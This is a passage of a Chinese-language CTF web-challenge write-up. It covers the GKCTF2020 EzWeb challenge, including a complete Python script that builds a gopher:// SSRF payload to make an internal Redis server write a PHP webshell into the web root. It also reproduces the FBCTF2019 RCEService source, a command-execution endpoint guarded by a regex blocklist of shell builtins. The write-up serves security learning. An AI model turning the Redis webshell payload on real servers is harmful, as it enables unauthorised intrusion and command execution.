文章目錄

[GKCTF2020]EZ三劍客-EzWeb
[FBCTF2019]RCEService
[BSidesCF 2019]Kookie
[CISCN2019 華北賽區 Day1 Web5]CyberPunk
[極客大挑戰 2019]Secret File
[ACTF2020 新生賽]Include
[強網杯 2019]隨便注
[SUCTF 2019]EasySQL
[極客大挑戰 2019]Havefun
[護網杯 2018]easy_tornado
參考文章

[GKCTF2020]EZ三劍客-EzWeb

剛剛打開網頁，通過隱藏引數發現個這個，啥東西？？？然后看了下wp發現是ssrf，好吧我沒啥經驗
在這里插入圖片描述
繞過了file協議，少了file://的兩個//

在這里插入圖片描述
之后看了下wp說，是要打內網某主機，遂掃描d段得

埠是6379
利用gopher協議打redis

'''
之后訪問ip/shell.php即可
'''
import urllib

protocol = "gopher://"
ip = "173.228.247.12"  # 運行有redis的主機ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

在這里插入圖片描述

[FBCTF2019]RCEService

題目原始碼

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>